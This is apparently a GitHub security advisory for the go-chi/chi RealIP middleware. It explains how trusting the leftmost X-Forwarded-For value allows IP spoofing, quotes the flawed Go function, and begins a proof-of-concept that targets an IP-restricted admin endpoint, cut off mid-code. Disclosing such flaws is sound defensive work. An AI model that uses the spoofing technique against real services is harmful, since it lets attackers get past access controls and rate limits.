GHSA-3fxj-6jh8-hvhx

## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... } ``` Standard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request. ## Proof of Concept (PoC) The following code demonstrates how an attacker can bypass an IP-based restriction. ```go package main import ( "fmt" "net/http" "net/http/httptest" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() // Enable the vulnerable RealIP middleware r.Use(middleware.RealIP) // An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP) // Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.Write